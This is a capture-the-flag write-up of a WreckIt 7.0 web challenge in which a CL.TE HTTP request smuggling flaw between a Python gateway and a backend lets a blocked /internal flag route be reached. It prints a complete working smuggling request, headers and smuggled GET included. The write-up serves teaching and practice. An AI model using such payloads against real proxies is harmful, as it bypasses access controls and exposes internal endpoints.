Post cover image

July 23, 2026

Tailgate/WreckIt 7.0 Web Exploitation Challenge Write Up(CL;TE Vulnerability)

this is recent wreck it 7.0 competition held by BSSN Indonesia. I decide to wrote this and upload to medium because i think this challenge…

By Fauzi Ismail

2 min read

this is recent wreck it 7.0 competition held by BSSN Indonesia. I decide to wrote this and upload to medium because i think this challenge is very good example of CL;TE Vulnerability or Content-Length;Transfer-Encoding.

Analysis:

None

The challenge gives us three serviece:

  1. python gateway
  2. backend
  3. admin bot

In the server.js

None

As you can see there is two flag part1 and part2, eventhough we can solve this chall only using part1, idk. Then the flag part1 is stored in /internal/flag-part1 route with no authentication.

None

In the gateway.py, they try to block the /internal endpoint using this

None

But the problem is gateway parse the request improper.

The main vulnerability this chall is thedifference between gateway and backend service todetermine the end of the request body. This creates a CL.TE HTTP request smuggling condition:

  • The gateway uses Content-Length to determine the end of the request body.
  • The backend uses Transfer-Encoding: chunked to determine the end of the request body.

So if we make a request like this:

…

0

GET /internal/flag-part1 HTTP/1.1
Host: backend

In chunked encoding, the sequence:

0\r\n\r\n

indicates the end of the chunked body.

However, because the gateway follows the declared Content-Length, it treats the entire data including the embedded GET /internal/flag-part1 request as the body of a single request.

As a result, the parsers interpret the same byte stream differently:

Gateway:

Request 1: POST / Transfer-Encoding: chunked

0\r\n\r\n

Backend:

2 requests

POST / Transfer-Encoding: chunked

0\r\n\r\n

GET /internal/flag-part1 HTTP/1.1 Host: backend

The GET request is read by backend as the next request, eventhough gateway read the request based on Content-Length. So gateway assume all of the request as body from POST /

So the final payload would be

POST / HTTP/1.1
Host: 35.198.248.110:21818
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Transfer-Encoding: chunked
Connection: keep-alive

0

GET /internal/flag-part1 HTTP/1.1
Host: backend

Gateway end read the request body after 57 byte. Meanwhile backend use Transfer-Encoding: chunked so 0\r\n\r\n will treated as ending request body then backend see another request

GET /internal/flag-part1 HTTP/1.1
Host: backend

Solve:

None

first request would be 400 bad request response because the smuggling still stuck in the proxy

None

the second request is success we got the flag!!

*i change the chall to docker because the service CTF is closed by panitia